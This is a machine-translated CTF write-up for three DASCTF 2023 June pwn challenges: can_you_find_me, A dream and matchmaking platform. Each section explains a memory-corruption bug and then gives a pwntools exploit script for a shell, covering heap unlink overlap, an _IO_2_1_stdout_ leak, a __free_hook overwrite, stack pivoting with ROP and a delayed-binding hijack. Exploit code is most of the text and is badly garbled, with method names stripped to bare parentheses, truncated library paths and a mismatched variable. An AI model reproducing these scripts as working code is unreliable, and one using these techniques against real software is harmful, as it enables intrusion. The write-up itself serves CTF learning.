DASCTF 2023 June Challenge|Binary Specialized PWN (Next)
1.can_you_find_me
Check protection
come as no surprise
64-bit ida reverse
Only the add, and del functions cannot be shown.
Let's look at add first.
Apply for up to 10 heap blocks
Off_by_null vulnerability exists, consider unlink for heap block overlap
The del function would have no UAF vulnerability
1. First of all, find a way to leak out the libc address, because this question libc is 2.27, so the introduction of tcachebin mechanism, either apply for a large heap of blocks or apply for more than 7 small heap of blocks, but this question has a limit on the number of applications, combined with off --by- --null, prioritize unlink
2. Through unlink, andtcachebin play match, apply heap block to __IO_2_1_stdout_structures to modify the __IO_write_base_ field, because of the later call puts, so it will print a lot of data, the local test is to change the end bit \x58 to __IO_file_jumps, according to which the calculation of offset
3. Then is the same technique to play with, free_hook changed to system, and then get the shell.
PS: Since the remote high byte needs to be blasted, it's easier to write a loop (1/16 probability)
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
#io = process('./find')
libc = ELF('/home/su/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.')
#io = remote('',27771)
def add(size,msg):
('choice:','1');
('Size:',str(size))
('Data:',msg)
def free(index):
('choice:','2');
('Index:',str(index))
def pwn():
add(0x410,'aa') #0
add(0x20,'aa') #1
add(0x20,'aa') #2
add(0x30,'aa') #3
add(0x4f0,'aa') #4
add(0x20,'/bin/sh\x00') #5
(io)
free(0)
free(3)
payload = b'a'*0x30 + p64(0x40+0x30+0x30+0x420)
add(0x38,payload) #0
#(io)
free(4)
free(1)
add(0x410,'a') #1
#(io)
add(0x10,b'\x60\xc7') #3
add(0x20,b'a') #4
payload = p64(0xfbad1887) + p64(0)*3 + b'\x58'
add(0x27,payload)
libc_base = u64((6).ljust(8,b'\x00')) - ['_IO_file_jumps']
success('libc_base----->'+hex(libc_base))
free_hook = libc_base + ['__free_hook']
system = libc_base + ['system']
pause()
#(io)
free(0)
payload = b'a'*0x30 + p64(0) + p64(0x41) + p64(free_hook)
add(0x60,payload)
add(0x38,'aaa')
add(0x38,p64(system))
free(5)
()
while True:
try:
#io = remote('',27373)
io = process('./find')
pwn()
break;
except:
()
2.A dream
Procedural protection status
No canary or pie protection on.
64-bit ida reverse
Created a subthread
Get in there.
Always print a sentence (wyxy ....)
There's one more function in the main process.
An 8-byte overflow exists for a read that can be stack migrated
(Is it really that simple? Questioner what did you do, you do not open the sandbox how do we fight against ctfers, questioner cold smile, hm, very simple, I protect the full soon good, said the questioner will open the final protection, so that ctfers have no place to go)
So let's take a look at the sandbox
Then you can't orw without open, ida sees that this sandbox is inside the main thread, so we can consider hijacking the subthread to get the shell
1. How to hijack it? Notice that the child process called write, then you can hijack the write_got table to change the address to the following
2. Hey, this is not in the sub-process began to read it, directly open the dazzle!
3. Note that the main thread to sleep up or the main thread is gone, not to mention sub-threads
exp:
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io = process('./dream')
#io = remote('',29280)
elf = ELF('./dream')
libc = ELF('/lib/x86_64-linux-gnu/.6')
#libc = ELF('libc6_2.31-0ubuntu9.7_amd64.so')
bss = () + 0x100
magic_read = 0x4013AE
payload = b'a'*0x40 + p64(bss+0x40) + p64(magic_read)
(payload)
#(io)
sleep(0.1)
pop_rdi_ret = 0x401483
pop_rsi_r15_ret = 0x401481
leave_ret = 0x40136c
payload = p64(pop_rsi_r15_ret) + p64(['write']) + p64(0) +p64(['read'])
payload += p64(pop_rdi_ret) + p64(0x1000) + p64(['sleep'])
payload = (0x40, b'\x00') + p64(bss-8) + p64(leave_ret)
(payload)
sleep(0.1)
#(io)
(p64(magic_read))
pause()
payload =b'a'*0x30 +p64(pop_rdi_ret) + p64(['puts']) +p64(['puts']) + p64(magic_read)
(io)
(payload)
sleep(0.1)
('\n')
('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#('\n')
#sleep(0.2)
libc_base = u64((6).ljust(8, b'\x00')) - ['puts']
success("libc_base:\t" + hex(libc_base))
bin_sh_addr = libc_base + next((b'/bin/sh'))
system_addr = libc_base + ['system']
ret = 0x40101a
#(io)
pop_rdi_rbp_ret = libc_base + 0x000000000002a745 #+ 0x248f2
thread_stack_rsp_addr = libc_base - 0x4150 + 0x2fa0 - 0x40 -8
success('thread_stack_rop_addr----->'+hex(thread_stack_rop_addr))
payload = p64(ret) + p64(pop_rdi_rbp_ret) + p64(bin_sh_addr) + p64(0) +p64(system_addr)
payload = (0x40, b'\x00') + p64(thread_stack_rsp_addr) +p64(leave_ret)
#(io)
(payload)
()
3.matchmaking platform
Procedural protection status
It only leaves us with a delayed binding
64-bit ida reverse
There are two opportunities to write to 0x4140 and 0x40c0 respectively
v3 is a char type range -127-128, the beginning is 0, with the do, while, can be added to 129, the realization of the overflow into -128, that is, you can write to the location of 0x40c0 (this location saves the program inside an address)
Idea: 1. Modify the last bit to the old friend _IO_2_1_stdout_ structure by overflowing, thus realizing the leakage of data, there is a probability of leaking out the program address
2. Because the program is delayed binding, by forging str_tab, hijacked to free delayed binding hijacked to puts_got table, and finally put into the parameter /bin/sh to get the shell
exp:
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug')
def pwn():
("Age >> ", b'\x00' * 0x80 + b'\x80')
("Photo(URL) >> ", p64(0xfbad1887) + p64(0) * 3 + b'\xb0\x5d')
pie_base = u64((6, timeout=0.5).ljust(8, b'\x00')) - 0x40a0
if (pie_base & 0xfff) != 0:
exit(-1)
success("pie_base:\t" + hex(pie_base))
pause()
(io)
payload = b'/bin/sh\x00' + p64(pie_base + 0x4140 - 0x67) + b'system\x00'
("Name >> ", (0x80, b'\x00') + b'\x08')
payload = p64(pie_base + 0x8).ljust(0x68, b'\x00') + p64(pie_base + 0x4140) #Hijacking by offset toputs
("Hobby >> ", payload)
()
if __name__ == '__main__':
while True:
global io
try:
io = process("./matchmaking_platform")
pwn()
break
except:
()